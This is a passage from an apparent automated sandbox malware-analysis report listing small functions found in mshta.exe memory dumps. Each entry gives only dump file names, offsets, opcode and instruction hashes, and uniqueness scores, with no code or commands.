                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660CB7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660CBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660C9F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 11060FAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.376324843.0000000011060000.00000010.00000800.00020000.00000000.sdmp, Offset: 11060000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_11060000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 133189e28ba864730c6dab24a5ed4a417944d49748b8fe5fc3ab23a05f37e3ad
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 11060FB7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.376324843.0000000011060000.00000010.00000800.00020000.00000000.sdmp, Offset: 11060000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_11060000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 133189e28ba864730c6dab24a5ed4a417944d49748b8fe5fc3ab23a05f37e3ad
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 11060FBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.376324843.0000000011060000.00000010.00000800.00020000.00000000.sdmp, Offset: 11060000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_11060000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 133189e28ba864730c6dab24a5ed4a417944d49748b8fe5fc3ab23a05f37e3ad
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 11060FC7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.376324843.0000000011060000.00000010.00000800.00020000.00000000.sdmp, Offset: 11060000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_11060000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 133189e28ba864730c6dab24a5ed4a417944d49748b8fe5fc3ab23a05f37e3ad
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 10E40FCF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.457358506.0000000010E40000.00000010.00000800.00020000.00000000.sdmp, Offset: 10E40000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_10e40000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction ID: 6396bf204dbe6f16a89aed1448ffac5159366bf8a028d878ebe434e24890b4f6
                                                                                        • Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 10E40FD7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.457358506.0000000010E40000.00000010.00000800.00020000.00000000.sdmp, Offset: 10E40000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_10e40000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction ID: 6396bf204dbe6f16a89aed1448ffac5159366bf8a028d878ebe434e24890b4f6
                                                                                        • Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 10E40FAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.457358506.0000000010E40000.00000010.00000800.00020000.00000000.sdmp, Offset: 10E40000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_10e40000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction ID: 6396bf204dbe6f16a89aed1448ffac5159366bf8a028d878ebe434e24890b4f6
                                                                                        • Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 10E40FB7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.457358506.0000000010E40000.00000010.00000800.00020000.00000000.sdmp, Offset: 10E40000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_10e40000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction ID: 6396bf204dbe6f16a89aed1448ffac5159366bf8a028d878ebe434e24890b4f6
                                                                                        • Opcode Fuzzy Hash: 57ac055f077beea20eb1848ebeeb1978f180cdc0d061263d96475911880e5786
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0CA70FAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.384351219.000000000CA70000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CA70000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_ca70000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 844e1dc76d3e0df618aa5c8f58c6d36e0cdcb6c8be245107915a7092f582db42
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0CA70FB7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.384351219.000000000CA70000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CA70000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_ca70000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 844e1dc76d3e0df618aa5c8f58c6d36e0cdcb6c8be245107915a7092f582db42
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0CA70FBF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.384351219.000000000CA70000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CA70000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_ca70000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 844e1dc76d3e0df618aa5c8f58c6d36e0cdcb6c8be245107915a7092f582db42
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0CA70FC7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000003.384351219.000000000CA70000.00000010.00000800.00020000.00000000.sdmp, Offset: 0CA70000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_3_ca70000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction ID: 844e1dc76d3e0df618aa5c8f58c6d36e0cdcb6c8be245107915a7092f582db42
                                                                                        • Opcode Fuzzy Hash: f6937b0f6e4796e53302bfaf4f5259f35123f2f05f922ce79dad98c0efd1a1dc
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%